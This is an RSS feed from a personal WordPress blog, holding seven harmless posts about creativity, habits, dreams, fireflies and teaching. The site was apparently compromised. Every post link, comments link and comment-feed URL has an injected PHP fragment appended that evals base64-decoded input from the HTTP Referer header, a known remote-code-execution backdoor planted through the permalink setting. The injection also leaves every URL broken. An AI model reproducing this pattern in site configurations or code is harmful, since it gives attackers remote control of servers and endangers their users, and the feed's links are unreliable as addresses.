<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Controlled Chaos &#187; dreamery</title>
	<atom:link href="http://jonthon.org/blog/category/dreamery/feed/" rel="self" type="application/rss+xml" />
	<link>http://jonthon.org/blog</link>
	<description>Free Flow of Thought is the Precursor to Revelation</description>
	<lastBuildDate>Sun, 11 Jul 2010 15:08:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Creativity and mental Illness</title>
		<link>http://jonthon.org/blog/2010/06/06/creativity-and-mental-illness/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2010/06/06/creativity-and-mental-illness/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 17:23:36 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[Day-to-Day]]></category>
		<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/?p=667</guid>
		<description><![CDATA[BBC News &#8211; Creative minds &#8216;mimic schizophrenia&#8217;. Is the difference attributable to schizophrenics just having less inhibitions than creatives, or do creatives get better control of their thought patterns to avoid becoming schizophrenic? Explanation by pull quote: &#8220;Fewer D2 receptors in the thalamus probably means a lower degree of signal filtering, and thus a higher [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://news.bbc.co.uk/2/hi/health/10154775.stm">BBC News &#8211; Creative minds &#8216;mimic schizophrenia&#8217;</a>.</p>
<p>Is the difference attributable to schizophrenics just having less inhibitions than creatives, or do creatives get better control of their thought patterns to avoid becoming schizophrenic?</p>
<p>Explanation by pull quote:</p>
<p><span style="font-family: verdana, helvetica, arial, sans-serif; line-height: 18px; color: #464646;">&#8220;Fewer D2 receptors in the thalamus probably means a lower degree of signal filtering, and thus a higher flow of information from the thalamus,&#8221; said Professor Ullen.</span></p>
<p><span style="font-family: verdana, helvetica, arial, sans-serif; color: #464646;"><span style="line-height: 18px;"><span style="color: #000000; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px;">Cool pull quotes:</p>
<p><span style="font-family: verdana, helvetica, arial, sans-serif; line-height: 18px; color: #464646;">&#8220;Creativity is uncomfortable. It is their dissatisfaction with the present that drives them on to make changes.&#8221;</span></p>
<p><span style="font-family: verdana, helvetica, arial, sans-serif; line-height: 18px; color: #464646;">&#8220;Creativity is certainly about not being constrained by rules or accepting the restrictions that society places on us. Of course the more people break the rules, the more likely they are to be perceived as &#8216;mentally ill&#8217;.&#8221;</span></p>
<p></span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2010/06/06/creativity-and-mental-illness/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crossing the Kcymaerxthaere &#8211; Eames Demetrios</title>
		<link>http://jonthon.org/blog/2010/04/05/crossing-the-kcymaerxthaere-eames-demetrios/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2010/04/05/crossing-the-kcymaerxthaere-eames-demetrios/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 05 Apr 2010 21:29:42 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/?p=642</guid>
		<description><![CDATA[Crossing the Kcymaerxthaere I read this article in an American Airlines in-flight magazine, and actually love the idea of art installations as inter-dimensional portals.  Thought provoking, if not silly. “No one ever threw down Lord of the Rings after 100 pages saying it wasn’t true,” he says. “No one ever walked out of Star Wars [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.americanwaymag.com/eames-demetrios-travel-guides-matthew-marked-site">Crossing the Kcymaerxthaere</a></p>
<p>I read this article in an American Airlines in-flight magazine, and actually love the idea of art installations as inter-dimensional portals.  Thought provoking, if not silly.</p>
<blockquote><p>“No one ever threw down <em>Lord of the Rings</em> after 100 pages saying  it wasn’t true,” he says. “No one ever walked out of <em>Star Wars</em> after 20 minutes complaining it wasn’t a documentary. And yet, in the  physical world, people are like, is this true or not?”</p>
<p>If it’s inspiring, it doesn’t matter.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2010/04/05/crossing-the-kcymaerxthaere-eames-demetrios/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can You Become a Creature of New Habits? &#8211; New York Times</title>
		<link>http://jonthon.org/blog/2008/05/21/can-you-become-a-creature-of-new-habits-new-york-times/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2008/05/21/can-you-become-a-creature-of-new-habits-new-york-times/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 21 May 2008 18:00:18 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[Day-to-Day]]></category>
		<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/2008/05/21/can-you-become-a-creature-of-new-habits-new-york-times/</guid>
		<description><![CDATA[Can You Become a Creature of New Habits? &#8211; New York Times My friend Jessica put me on to this, and I found it to be novel in three ways. Can You Become a Creature of New Habits? Christophe Vorlet By JANET RAE-DUPREE Published: May 4, 2008 HABITS are a funny thing. We reach for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nytimes.com/2008/05/04/business/04unbox.html?_r=1&amp;oref=slogin">Can You Become a Creature of New Habits? &#8211; New York Times</a></p>
<p>My friend Jessica put me on to this, and I found it to be novel in three ways.</p>
<blockquote>
<h1> <nyt_headline version="1.0" type=" "> Can You Become a Creature of New Habits? </nyt_headline></h1>
<p class="image" id="wideImage"> <img src="http://graphics8.nytimes.com/images/2008/05/04/business/04unbox.xlarge1.jpg" border="0" height="314" width="600" /></p>
<p class="byline">Christophe Vorlet</p>
<p class="byline">By JANET RAE-DUPREE</p>
<p class="timestamp">Published: May 4, 2008</p>
<p><nyt_text>   	 </nyt_text>HABITS are a funny thing. We reach for them mindlessly, setting our brains on auto-pilot and relaxing into the unconscious comfort of familiar routine. “Not choice, but habit rules the unreflecting herd,” William Wordsworth said in the 19th century. In the ever-changing 21st century, even the word “habit” carries a negative connotation.</p>
<p>So it seems antithetical to talk about habits in the same context as creativity and innovation. But brain researchers have discovered that when we consciously develop new habits, we create parallel synaptic paths, and even entirely new brain cells, that can jump our trains of thought onto new, innovative tracks.</p>
<p>Rather than dismissing ourselves as unchangeable creatures of habit, we can instead direct our own change by consciously developing new habits. In fact, the more new things we try — the more we step outside our comfort zone — the more inherently creative we become, both in the workplace and in our personal lives.</p>
<p>But don’t bother trying to kill off old habits; once those ruts of procedure are worn into the hippocampus, they’re there to stay. Instead, the new habits we deliberately ingrain into ourselves create parallel pathways that can bypass those old roads.</p>
<p>“The first thing needed for innovation is a fascination with wonder,” says Dawna Markova, author of “The Open Mind” and an executive change consultant for Professional Thinking Partners. “But we are taught instead to ‘decide,’ just as our president calls himself ‘the Decider.’ ” She adds, however, that “to decide is to kill off all possibilities but one. A good innovational thinker is always exploring the many other possibilities.”</p>
<p>All of us work through problems in ways of which we’re unaware, she says. Researchers in the late 1960s discovered that humans are born with the capacity to approach challenges in four primary ways: analytically, procedurally, relationally (or collaboratively) and innovatively. At <a href="http://health.nytimes.com/health/guides/specialtopic/puberty-and-adolescence/overview.html?inline=nyt-classifier" title="In-depth reference and news articles about Puberty and adolescence.">puberty</a>, however, the brain shuts down half of that capacity, preserving only those modes of thought that have seemed most valuable during the first decade or so of life.</p>
<p>The current emphasis on standardized testing highlights analysis and procedure, meaning that few of us inherently use our innovative and collaborative modes of thought. “This breaks the major rule in the American belief system — that anyone can do anything,” explains M. J. Ryan, author of the 2006 book “This Year I Will&#8230;” and Ms. Markova’s business partner. “That’s a lie that we have perpetuated, and it fosters mediocrity. Knowing what you’re good at and doing even more of it creates excellence.”</p>
<p>This is where developing new habits comes in. If you’re an analytical or procedural thinker, you learn in different ways than someone who is inherently innovative or collaborative. Figure out what has worked for you when you’ve learned in the past, and you can draw your own map for developing additional skills and behaviors for the future.</p>
<p>“I apprentice myself to someone when I want to learn something new or develop a new habit,” Ms. Ryan says. “Other people read a book about it or take a course. If you have a pathway to learning, use it because that’s going to be easier than creating an entirely new pathway in your brain.”</p>
<p>Ms. Ryan and Ms. Markova have found what they call three zones of existence: comfort, stretch and stress. Comfort is the realm of existing habit. Stress occurs when a challenge is so far beyond current experience as to be overwhelming. It’s that stretch zone in the middle — activities that feel a bit awkward and unfamiliar — where true change occurs.</p>
<p>“Getting into the stretch zone is good for you,” Ms. Ryan says in “This Year I Will&#8230; .” “It helps keep your brain healthy. It turns out that unless we continue to learn new things, which challenges our brains to create new pathways, they literally begin to atrophy, which may result in <a href="http://health.nytimes.com/health/guides/disease/dementia/overview.html?inline=nyt-classifier" title="In-depth reference and news articles about Dementia.">dementia</a>, <a href="http://health.nytimes.com/health/guides/disease/alzheimers-disease/overview.html?inline=nyt-classifier" title="In-depth reference and news articles about Alzheimer's Disease.">Alzheimer’s</a> and other brain diseases. Continuously stretching ourselves will even help us lose weight, according to one study. Researchers who asked folks to do something different every day — listen to a new radio station, for instance — found that they lost and kept off weight. No one is sure why, but scientists speculate that getting out of routines makes us more aware in general.”</p>
<p>She recommends practicing a Japanese technique called kaizen, which calls for tiny, continuous improvements.</p>
<p>“Whenever we initiate change, even a positive one, we activate fear in our emotional brain,” Ms. Ryan notes in her book. “If the fear is big enough, the fight-or-flight response will go off and we’ll run from what we’re trying to do. The small steps in kaizen don’t set off fight or flight, but rather keep us in the thinking brain, where we have access to our creativity and playfulness.”</p>
<p>Simultaneously, take a look at how colleagues approach challenges, Ms. Markova suggests. We tend to believe that those who think the way we do are smarter than those who don’t. That can be fatal in business, particularly for executives who surround themselves with like-thinkers. If seniority and promotion are based on similarity to those at the top, chances are strong that the company lacks intellectual diversity.</p>
<p>“Try lacing your hands together,” Ms. Markova says. “You habitually do it one way. Now try doing it with the other thumb on top. Feels awkward, doesn’t it? That’s the valuable moment we call confusion, when we fuse the old with the new.”</p>
<p>AFTER the churn of confusion, she says, the brain begins organizing the new input, ultimately creating new synaptic connections if the process is repeated enough.</p>
<p>But if, during creation of that new habit, the “Great Decider” steps in to protest against taking the unfamiliar path, “you get convergence and we keep doing the same thing over and over again,” she says.</p>
<p>“You cannot have innovation,” she adds, “unless you are willing and able to move through the unknown and go from curiosity to wonder.”</p>
<p><nyt_author_id></nyt_author_id></p>
<p id="authorId"><em>Janet Rae-Dupree writes about science and emerging technology in Silicon Valley.</em></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2008/05/21/can-you-become-a-creature-of-new-habits-new-york-times/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gescard Isnora</title>
		<link>http://jonthon.org/blog/2008/03/02/gescard-isnora/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2008/03/02/gescard-isnora/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 13:54:47 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/2008/03/02/gescard-isnora/</guid>
		<description><![CDATA[Witnesses: Slain Groom Involved in Spat You know when you&#8217;re sick, how your mind does crazy things.  Well, last night, I kept dreaming of the name Gescard Isnora.  I had no idea why, and for a while I was thinking it would be a good pen name for someone.  Every time I was conscious, I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wtop.com/?nid=104&amp;sid=587421">Witnesses: Slain Groom Involved in Spat</a></p>
<p>You know when you&#8217;re sick, how your mind does crazy things.  Well, last night, I kept dreaming of the name Gescard Isnora.  I had no idea why, and for a while I was thinking it would be a good pen name for someone.  Every time I was conscious, I would think of the name (which drove me crazy, in that sick-repetitive way).  Well, it turns out that I know the name for a reason: he is one of the two officers being charged with Manslaughter in the death of Sean Bell.  I guess it got tucked deep back in my subconscious, and somehow pulled up to memory.  Weird&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2008/03/02/gescard-isnora/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An enlightening experience</title>
		<link>http://jonthon.org/blog/2006/06/14/an-enlightening-experience/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2006/06/14/an-enlightening-experience/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 14 Jun 2006 07:02:21 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/2006/06/14/an-enlightening-experience/</guid>
		<description><![CDATA[Tonight I went fishing on the Missouri river. When I turned my back to the water and looked into the trees, I almost felt like a runway model &#8211; a thousand flash bulbs going off in every direction. I&#8217;d seen fireflies, but never that highly concentrated before. It was one of the most mesmerizing things [...]]]></description>
			<content:encoded><![CDATA[<p>Tonight I went fishing on the Missouri river.  When I turned my back to the water and looked into the trees, I almost felt like a runway model &#8211; a thousand flash bulbs going off in every direction.  I&#8217;d seen fireflies, but never that highly concentrated before.  It was one of the most mesmerizing things I&#8217;ve seen in a long while &#8211; too bad I couldn&#8217;t capture it somehow&#8230;</p>
<p>Oh yeah, we saw AT LEAST 7 deer while driving to and from the river!</p>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2006/06/14/an-enlightening-experience/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The raindrop metaphor</title>
		<link>http://jonthon.org/blog/2006/06/11/the-raindrop-metaphor/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2006/06/11/the-raindrop-metaphor/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 11 Jun 2006 19:25:43 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/2006/06/11/the-raindrop-metaphor/</guid>
		<description><![CDATA[The other day, I made a realization when speaking to a friend about my departure to TFA.  Given the torrential downpours that swept Columbia last night, my mind was jostled into reminiscing, and I decided to record the thought this time around: I feel kind of like a raindrop, coming from the heights of academia [...]]]></description>
			<content:encoded><![CDATA[<p>The other day, I made a realization when speaking to a friend about my departure to TFA.  Given the torrential downpours that swept Columbia last night, my mind was jostled into reminiscing, and I decided to record the thought this time around:</p>
<p>I feel kind of like a raindrop, coming from the heights of academia to the rocky bottom of that same system.  And just as a raindrop brings about growth, I will attempt to do the same.  I&#8217;m stricken with the thought that about 30 students are somewhere in NYC right now, alive, doing things&#8230;what are they doing, and who are they?  How long until this raindrop hits the ground, and how will it be received?  What will the rain wash away, and will it stay with me forever?</p>
<p>Interesting thoughts during interesting times&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2006/06/11/the-raindrop-metaphor/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stepping into the light&#8230;</title>
		<link>http://jonthon.org/blog/2006/03/19/stepping-into-the-light/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://jonthon.org/blog/2006/03/19/stepping-into-the-light/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 19 Mar 2006 23:20:07 +0000</pubDate>
		<dc:creator>jonthon</dc:creator>
				<category><![CDATA[dreamery]]></category>

		<guid isPermaLink="false">http://jonthon.org/blog/2006/03/19/stepping-into-the-light/</guid>
		<description><![CDATA[I&#8217;ve been having a recurring dream for long enough now that it&#8217;s worth commenting upon.  I&#8217;ve had it four or five times, and it&#8217;s always the same.  Very short, and never any more or less to it than this: I am walked up steps etched into the stone.  They are a lighter brown color, and [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been having a recurring dream for long enough now that it&#8217;s worth commenting upon.  I&#8217;ve had it four or five times, and it&#8217;s always the same.  Very short, and never any more or less to it than this:</p>
<p>I am walked up steps etched into the stone.  They are a lighter brown color, and cool.  I am walking out of a structure carved down into a rock face, and outside is a streetside with small shops.  The setting always simulates my preconceived notions of third-world city streets, especialy those of the middle east.  But I never see anyone or thing to particularly denote this.  In fact, just as soon as I walk into the light, the dream always ends.</p>
<p>This dream always leaves me feeling full of life.  It&#8217;s twinged with the feel of revolution.  But at the same time, I often reflect on these feelings and wonder whether they are good or bad.</p>
<p>It also inspires questions such as &#8220;am I having someone else&#8217;s dreams?,&#8221; &#8220;does this setting exist somewhere in real life?,&#8221; and &#8220;is this what life could&#8217;ve been?&#8221;</p>
<p>As I always say, &#8220;Sleep well, dream better.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://jonthon.org/blog/2006/03/19/stepping-into-the-light/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
